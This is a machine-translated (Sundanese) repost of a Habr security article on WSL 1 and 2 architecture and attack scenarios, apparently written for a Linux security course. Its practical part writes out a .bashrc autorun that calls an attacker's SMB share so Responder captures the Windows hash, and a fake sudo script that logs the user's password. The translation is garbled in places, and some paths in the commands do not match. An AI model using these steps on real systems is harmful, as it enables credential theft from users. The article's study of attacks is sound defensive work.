percobaan WSL. Bagian 1

Halo, habr! OTUS ngaluncurkeun aliran kursus anyar dina Oktober "Kaamanan Linux». Dina antisipasi mimiti kursus, kami babagi sareng anjeun hiji artikel ditulis ku salah sahiji guru urang, Alexander Kolesnikov.

percobaan WSL. Bagian 1

Dina 2016, Microsoft ngenalkeun téknologi WSL anyar ka komunitas IT (Windos Subsystem pikeun Linux), anu dina jangka panjang ngamungkinkeun ngahijikeun pesaing anu sateuacanna teu tiasa didamaikeun anu berjuang pikeun popularitas di antara pangguna OS biasa sareng canggih: Windows и LinuxTéhnologi ieu nyayogikeun kamampuan pikeun nganggo alat OS. Linux dikurilingan Windows tanpa kedah ngaluncurkeun Linux, contona, nganggo multi-boot. Dina Habr, anjeun tiasa mendakan seueur artikel anu ngajelaskeun kauntungan nganggo WSL. Nanging, hanjakalna, dina waktos nyerat ieu, teu aya panilitian ngeunaan kaamanan simbiosis sistem operasi ieu anu kapendak dina sumber daya ieu. Tulisan ieu mangrupikeun usaha pikeun ngalereskeun ieu. Artikel ieu bakal ngabahas fitur arsitéktur WSL 1 sareng 2 sareng nganalisis sababaraha conto serangan kana sistem anu nganggo téknologi ieu. Artikel ieu dibagi kana dua bagian. Anu kahiji bakal nampilkeun metode téoritis utama serangan. Linux и WindowsArtikel kadua bakal ngabahas ngeunaan nyetél lingkungan tés sareng ngahasilkeun deui serangan.

WSL 1: fitur arsitéktur

Pikeun ngartos sacara lengkep masalah kaamanan WSL, perlu pikeun ngaidentipikasi nuansa konci anu aya hubunganana sareng implementasi subsistem. Salah sahiji kabutuhan utama pangguna anu diatasi ku WSL nyaéta ngaktipkeun aksés terminal. Linux sistem dina host nganggo OS WindowsOgé, kompatibilitas anu ditawarkeun téh asli pisan sahingga file anu tiasa dieksekusi Linux (ELF) tiasa diluncurkeun langsung dina sistem WindowsPikeun ngahontal tujuan-tujuan ieu dina Windows 10 subsistem khusus dijieun anu ngamungkinkeun aplikasi diluncurkeun Linux ngagunakeun sakumpulan panggero sistem anu khusus - ku kituna, aya usaha pikeun memetakan sakumpulan sistem operasi Linux dina WindowsSacara fisik, ieu dilaksanakeun ku cara nambihan panggerak anyar sareng format prosés anyar. Sacara visual, arsitékturna katingalina sapertos kieu:

percobaan WSL. Bagian 1

Sacara umum, interaksi sareng sistem operasi Linux diatur nganggo sababaraha modul kernel sareng jinis prosés khusus—pico. Diagram di luhur nunjukkeun yén prosés anu dijalankeun dina instansi éta Linux dina host, kedah asli sareng kedah nganggo sumber daya anu sami sareng aplikasi biasa WindowsTapi kumaha ieu tiasa kahontal? Dina proyék ieu Jambatan tarik konsep prosés anu dikembangkeun pikeun Windows, anu nyayogikeun sadaya komponén sistem operasi anu diperyogikeun (gumantung kana vérsi na) pikeun ngajalankeun aplikasi tina OS anu sanés.

Catet yén abstraksi anu diusulkeun ngamungkinkeun pikeun henteu ngandelkeun sistem operasi (khususna, Windows), anu ngarepkeun prosés OS anu sanés bakal diluncurkeun, sareng ngajukeun pendekatan umum.

Ku kituna, aplikasi naon waé di jero prosés pico tiasa dijalankeun tanpa merhatikeun kernel. Windows:

  1. Masalah kasaluyuan sareng tarjamahan telepon sistem kedah direngsekeun ku panyadia khusus;
  2. Kontrol aksés kedah dilaksanakeun ngalangkungan Security Monitor. Monitor ayana dina kernel sareng ku kituna Windows Diperlukeun pamutahiran dina bentuk supir anyar anu tiasa bertindak salaku panyadia pikeun prosés sapertos kitu. Prototipe prosés pico sacara skematis dipidangkeun di handap ieu:

percobaan WSL. Bagian 1

Kusabab sistem file Linux ngagunakeun ngaran file sareng diréktori anu sénsitip kana hurup kapital, Windows Dua jinis sistem file parantos ditambahkeun pikeun dianggo sareng WSL: VolFS sareng DriveFS. VolFS nyaéta implementasi sistem file. Linux, DriveFS nyaéta sistem file anu jalanna numutkeun aturan Windows, tapi gaduh pilihan pikeun milih sensitivitas hurup ageung sareng hurup ageung dina nami.

WSL 2

WSL 1 miboga sababaraha watesan anu ngahalangan éta dianggo pikeun ngarengsekeun rupa-rupa tugas: contona, éta teu boga kamampuh pikeun ngajalankeun 32-bit Linux Aplikasi teu tiasa nganggo supir alat. Ku kituna, dina taun 2020, WSL 2 dirilis, anu ngarobih pendekatan pikeun ngawangun subsistem. WSL 2 mangrupikeun mesin virtual anu dioptimalkeun anu cocog sareng karakteristik konsumsi sumber daya WSL 1. Ayeuna, gumantung kana masalah anu direngsekeun ku pangguna, OS Windows, anjeun tiasa milih vérsi subsistem anu diperyogikeun pikeun dianggo LinuxPikeun ngirangan poténsi kerentanan, WSL 2 diimplementasikeun dumasar kana Hyper-V dina Windows 10Dina bentuk ieu Windows mibanda kamampuh pikeun ngajalankeun kernel sistem operasi sacara misah LinuxPerlu diinget yén vérsi 1 tina WSL diwanohkeun salaku fitur béta anu dimaksudkeun pikeun nunjukkeun arah pamekaran. Windows di daérah ieu, janten transisi ka Hyper-V teu tiasa dihindari. Arsitektur ahirna sapertos kieu:

percobaan WSL. Bagian 1

Dina vérsi ieu, kernel sistem Windows и Linux Masing-masing gaduh sumber daya sorangan sareng tumpang tindih ngan ukur dina sistem file, tapi tumpang tindih ieu masih jauh tina lengkep. Interaksi antara sistem file dilaksanakeun ngalangkungan bungkus klien-server anu beroperasi dina protokol 9P.

Dinten Microsoft nyadiakeun kamampuhan pikeun pindah antara WSL 1 jeung WSL 2. Duanana versi sadia pikeun pamakéan.

WSL Kaamanan

Ayeuna, aya sababaraha karya anu ngajelaskeun sababaraha pendekatan pikeun ngagunakeun alat OS anu sah pikeun nyerang komunikasi antara subsistem. Kami bakal ngagunakeun skripna pikeun mariksa relevansi serangan dina waktos nyerat. Daptar umum serangan sareng skenario:

1. Palaksanaan sistem file: hak aksés, kasadiaan directories dibagikeun / mékanisme bursa data.

Panalungtikan ieu dilakukeun pikeun nangtukeun palanggaran aturan aksés ti Linux FS->Windows FS, Windows FS->Linux FS. Panaliti nunjukkeun kamampuan pikeun ngarobih file anu dipasihkeun dina target OS. Usaha ogé dilakukeun pikeun ngagentos, nyiptakeun duplikat sareng ngahapus bagian tina sistem file.

Skenario:

  • A. Serangan ti sistem operasi Windows — modifikasi file tina diréktori /etc dina OS Linux.
  • B. Serangan ti sistem operasi Linux — modifikasi file dina diréktori: C:Windows, C:Program Files, C:Users<User>

2. Palaksanaan tumpukan jaringan.

Panalungtikan ieu dilakukeun nganggo conto serangan tina sistem operasi Linux dina WindowsFitur operasional tumpukan jaringan dimanfaatkeun, khususna mékanisme auténtikasi pikeun rupa-rupa sumber daya.

Skenario:

  • Muka aksés ka port anu sibuk dina sistem Windows
  • Muka port tanpa hak luyu
  • Ngajalankeun cangkang tibalik nganggo file elf dina sistem operasi Windows.

3. Nyumputkeun peluncuran prosés software jahat ngagunakeun subsistem WSL.

Panalungtikan ieu dumasar kana kanyataan basajan - subsistem kaamanan teu bisa intercept acara dina kernel sejen anu hade ngagunakeun panyadia sah tina sistem operasi dina kasus WSL 1. Dina kasus WSL 2, euweuh cara pikeun nempo kajadian anu lumangsung. dina kernel misah dina mesin virtual lightweight.

Skenario:

1) Ngajalankeun aplikasi pikeun aksés jauh kana sistem sareng ningali acara anu dilebetkeun.

Ékspérimén WSL 1: Pembajakan Hash (OS) Windows)

Tungtungna urang parantos dugi ka bagian praktis. Mimitina, urang kedah nyetél lingkungan uji coba. Sadaya ékspérimén bakal dilaksanakeun dina bangku uji coba kalayan Windows 10 2004. Gambar sistem operasi anu dipilih pikeun WSL nyaéta Ubuntu 18.04 April. Gambarna dipilih sacara acak, sareng gambar anu sanésna ogé bakal tiasa dianggo. Paréntah pikeun nyetél stand:

Anjeun kedah ngaluncurkeun heula powershell.exe salaku pangurus.

Pikeun WSL 1 anjeun kedah ngajalankeun paréntah:

  1. Aktipkeun-WindowsFitur Opsional -Online -Ngaran Fitur Microsoft-Windows-Subsistem-Linux #Aktipkeun fitur WSL
  2. Ngajak-WebRequest -Uri alias.ms/wsl-ubuntu-1804

-KaluarFile ~/Ubuntu.appx -UseBasicParsing #Muat gambar Linux ti Toko Microsoft

  • Ubuntu.appx install —root #Pasang gambarna
  • Anjeun panginten kedah ngaklik prosés pangaturan sareng nyiptakeun pangguna énggal anu gaduh hak anu kirang ti akar. Pikeun tés kami, ieu bakal janten pangguna biasa sam.
  • Balikan deui-Komputer #Reboot
  • Saatos ngabalikan deui setelan, anjeun tiasa ngajalankeun paréntah bash. Upami sadayana jalan kalayan leres, anjeun bakal ningali kaluaran anu sami sareng ieu dina konsol. Windows:

    percobaan WSL. Bagian 1

    Urang bakal ngagunakeun distribusi Kali salaku mesin panyerang. Linux, sadaya mesin kedah aya dina jaringan lokal anu sami.

    Hayu urang anggap urang gaduh aksés anu teu diijinkeun ka WSL dina mesin éta WindowsHayu urang cobian nyerang sistem operasi. Linux, nyauran paréntah ti LinuxPikeun ngalaksanakeun serangan ieu, urang bakal nganggo téknik autorun anu saderhana—urang bakal nambihan skrip kana lingkunganana. LinuxPikeun ngalakukeun ieu, anjeun kedah ngarobih file .bashrc.

    Dina mesin sareng WSL kami laksanakeun:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Ku mobil Kali Linux urang laksanakeun:

    1. Responder -I eth0 -rdvw

    Ku mobil Windows Hayu urang ngajalankeun bash.

    Kami nuju ngantosan hasilna dina mesin Kali. Linux:

    percobaan WSL. Bagian 1

    Janten urang kéngingkeun hash pangguna Windows ngalangkungan subsistem WSL ku cara ngajalankeun paréntah dina sistem Linux.

    Ékspérimén WSL 1: Kéngingkeun Sandi Pangguna (OS) Linux)

    Hayu urang ngalakukeun hiji percobaan deui. Salila parios ieu kami bakal nambihan kana file .bashrc sababaraha paréntah pikeun kéngingkeun kecap akses pangguna sistem operasi Linux.

    Hayu urang ngajalankeun bash sareng lebetkeun paréntah:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Supados serangan éta suksés, pangguna Sam kedah nganggo sudo dina terminal. LinuxSaatos ieu, kecap akses pangguna OS Linux bakal aya dina file pass.txt:

    percobaan WSL. Bagian 1

    Palaksanaan serangan éta ngan ukur pikeun inpormasi téoritis.

    Bagian salajengna tina tulisan bakal ngajelaskeun palaksanaan protokol 9P, mertimbangkeun nyiptakeun scanner pikeun protokol ieu, sareng ogé ngalaksanakeun serangan nganggo éta.

    Daptar pustaka anu dianggo

    percobaan WSL. Bagian 1

    Maca deui

    sumber: www.habr.com

    Mésér hosting anu dipercaya pikeun situs anu gaduh panyalindungan DDoS, server VPS VDS 🔥 Meser hosting situs wéb anu tiasa dipercaya nganggo panyalindungan DDoS, server VPS VDS | ProHoster